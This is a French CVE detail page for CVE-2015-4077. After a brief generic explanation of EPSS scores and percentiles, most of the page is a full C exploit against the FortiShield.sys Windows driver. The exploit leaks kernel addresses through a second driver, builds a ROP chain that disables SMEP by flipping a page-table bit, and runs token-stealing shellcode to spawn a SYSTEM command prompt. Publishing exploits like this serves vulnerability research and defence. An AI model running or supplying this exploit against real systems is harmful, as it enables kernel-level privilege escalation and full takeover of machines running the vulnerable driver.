CVE-2015-4077 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <Psapi.h> #include <Shlobj.h> #pragma comment (lib,"psapi") PULONGLONG leak_buffer = (PULONGLONG)VirtualAlloc((LPVOID)0x000000001a000000, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); ULONGLONG leakQWORD(ULONGLONG addr, HANDLE driver) { memset((LPVOID)0x000000001a000000, 0x11, 0x1000); memset((LPVOID)0x000000001a001000, 0x22, 0x1000); leak_buffer[0] = 0x000000001a000008; leak_buffer[1] = 0x0000000000000003; leak_buffer[4] = 0x000000001a000028; leak_buffer[6] = addr - 0x70; DWORD IoControlCode = 0x22608C; LPVOID InputBuffer = (LPVOID)0x000000001a000000; DWORD InputBufferLength = 0x20; LPVOID OutputBuffer = (LPVOID)0x000000001a001000; DWORD OutputBufferLength = 0x110; DWORD lpBytesReturned; BOOL triggerIOCTL; triggerIOCTL = DeviceIoControl(driver, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); if (!triggerIOCTL) { printf("[!] Error in the SYSCALL: %d\n", GetLastError()); } ULONGLONG result = leak_buffer[0x202]; return result; } ULONGLONG leakNtBase(HANDLE driver) { ULONGLONG teb = (ULONGLONG)NtCurrentTeb(); ULONGLONG thread = *(PULONGLONG)(teb + 0x78); ULONGLONG threadInfo = leakQWORD(thread, driver); ULONGLONG ntAddr = leakQWORD(threadInfo + 0x2a8, driver); ULONGLONG baseAddr = 0; ULONGLONG signature = 0x00905a4d; ULONGLONG searchAddr = ntAddr & 0xFFFFFFFFFFFFF000; while (TRUE) { ULONGLONG readData = leakQWORD(searchAddr, driver); ULONGLONG tmp = readData & 0xFFFFFFFF; /* printf("%llx\n", readData); printf("%llx\n", tmp); */ if (tmp == signature) { baseAddr = searchAddr; break; } searchAddr = searchAddr - 0x1000; } return baseAddr; } ULONGLONG leakFortiBase(HANDLE driver, ULONGLONG ntBase) { ULONGLONG PsLoadModuleListAddr = ntBase + 0x34c5a0; ULONGLONG searchAddr = leakQWORD(PsLoadModuleListAddr, driver); ULONGLONG addr = 0; while (1) { ULONGLONG namePointer = leakQWORD(searchAddr + 0x60, driver); ULONGLONG name = leakQWORD(namePointer, driver); if (name == 0x00740072006f0046) { name = leakQWORD(namePointer + 8, driver); if (name == 0x0069006800530069) { addr = leakQWORD(searchAddr + 0x30, driver); break; } } searchAddr = leakQWORD(searchAddr, driver); } return addr; } ULONGLONG allocate_fake_stack(ULONGLONG ntBase, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) { PULONGLONG fake_stack = (PULONGLONG)VirtualAlloc((LPVOID)0x00000000f5ffe000, 0x12000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (fake_stack == NULL) { printf("[!] Error while allocating the fake stack: %d\n", GetLastError()); return 1; } memset(fake_stack, 0x41, 0x12000); PULONGLONG ropStack = (PULONGLONG)fake_stack + 0x2000; DWORD index = 0; // <NULL Callback> ropStack[index] = ntBase + 0x1684ef; index++; // pop rax ; pop rcx ; ret ropStack[index] = fortishield_callback; index++; // FortiShield Callback ropStack[index] = 0x0000000000000000; index++; // NULL ropStack[index] = ntBase + 0x937eb; index++; // mov qword [rax], rcx ; ret // </NULL Callback> // <Flip U=S bit> ropStack[index] = ntBase + 0x88614; index++; // pop rax ; ret ropStack[index] = pte_result; index++; // PTE VA ropStack[index] = ntBase + 0x1a3cb2; index++; // pop rdx ; ret ropStack[index] = 0x0000000000000063; index++; // DIRTY + ACCESSED + R/W + PRESENT ropStack[index] = ntBase + 0xe8a8b; index++; // mov byte [rax], dl ; add eax, 0x01740000 ; ret ropStack[index] = ntBase + 0x11e000; index++; // wbinvd ; ret // </Flip U=S bit> // <Restore variables & shellcode> ropStack[index] = 0x00000000f6000100; index++; // Shellcode address ropStack[index] = fortishield_restore; index++; // FortiShield return location // </Restore variables & shellcode> char token_steal[] = "\x48\x31\xc0\x65\x48\x8b\x80" "\x88\x01\x00\x00\x48\x8b\x80" "\xb8\x00\x00\x00\x49\x89\xc0" "\x48\x8b\x80\xe8\x02\x00\x00" "\x48\x2d\xe8\x02\x00\x00\x48" "\x8b\x88\xe0\x02\x00\x00\x48" "\x83\xf9\x04\x75\xe6\x4c\x8b" "\x88\x58\x03\x00\x00\x4d\x89" "\x88\x58\x03\x00\x00\x3E\x48" "\x8B\x04\x24\x48\x89\xF4\x48" "\x83\xEC\x20\xFF\xE0"; memcpy((fake_stack + 0x2020), token_steal, sizeof(token_steal)); return 0; } ULONGLONG get_pxe_address_64(ULONGLONG address, ULONGLONG pte_start) { ULONGLONG result = address >> 9; result = result | pte_start; result = result & (pte_start + 0x0000007ffffffff8); return result; } int trigger_callback() { printf("[+] Creating dummy file\n"); system("echo test > C:\\Users\\n00b\\AppData\\LocalLow\\test.txt"); printf("[+] Calling MoveFileEx()\n"); BOOL MFEresult = MoveFileEx(L"C:\\Users\\n00b\\AppData\\LocalLow\\test.txt", L"C:\\Users\\n00b\\AppData\\LocalLow\\test2.txt", MOVEFILE_REPLACE_EXISTING); if (MFEresult == 0) { printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError()); return 1; } return 0; } int main() { LoadLibraryA("user32.dll"); // Populate Win32ThreadInfo HANDLE mdare = CreateFile(L"\\\\.\\mdareDriver_48", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (mdare == INVALID_HANDLE_VALUE) { printf("[!] Error while creating a handle to the driver: %d\n", GetLastError()); return 1; } HANDLE forti = CreateFile(L"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (forti == INVALID_HANDLE_VALUE) { printf("[!] Error while creating a handle to the driver: %d\n", GetLastError()); return 1; } LPDWORD hThread_id = 0; HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id); if (hThread == NULL) { printf("[!] Error while calling CreateThread: %d\n", GetLastError()); return 1; } BOOL hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST); if (hThread_priority == 0) { printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError()); return 1; } ULONGLONG ntBase = leakNtBase(mdare); ULONGLONG ntPivot = ntBase + 0x1ab3ec; // mov esp, 0xf6000000; retn; ULONGLONG ntMiGetPteAddressOffset = leakQWORD(ntBase + 0x62aeb, mdare); ULONGLONG fortishieldBase = leakFortiBase(mdare, ntBase); ULONGLONG fortishield_callback = fortishieldBase + 0xd150; ULONGLONG fortishield_restore = fortishieldBase + 0x2f73; printf("[+] ntoskrnl.exe base address is: 0x%llx\n", ntBase); printf("[+] PTE VA start address is: 0x%llx\n", ntMiGetPteAddressOffset); printf("[+] FortiShield.sys base address is: 0x%llx\n", fortishieldBase); ULONGLONG pte_result = get_pxe_address_64(0xf6000000, ntMiGetPteAddressOffset); printf("[+] PTE virtual address for 0xf6000000: %I64x\n", pte_result); allocate_fake_stack(ntBase, fortishield_callback, fortishield_restore, pte_result); DWORD IoControlCode = 0x220028; ULONGLONG InputBuffer = ntPivot; DWORD InputBufferLength = 0x8; ULONGLONG OutputBuffer = 0x0; DWORD OutputBufferLength = 0x0; DWORD lpBytesReturned; //DebugBreak(); BOOL triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL); ResumeThread(hThread); WaitForSingleObject(hThread, INFINITE); system("start cmd.exe"); return 0; }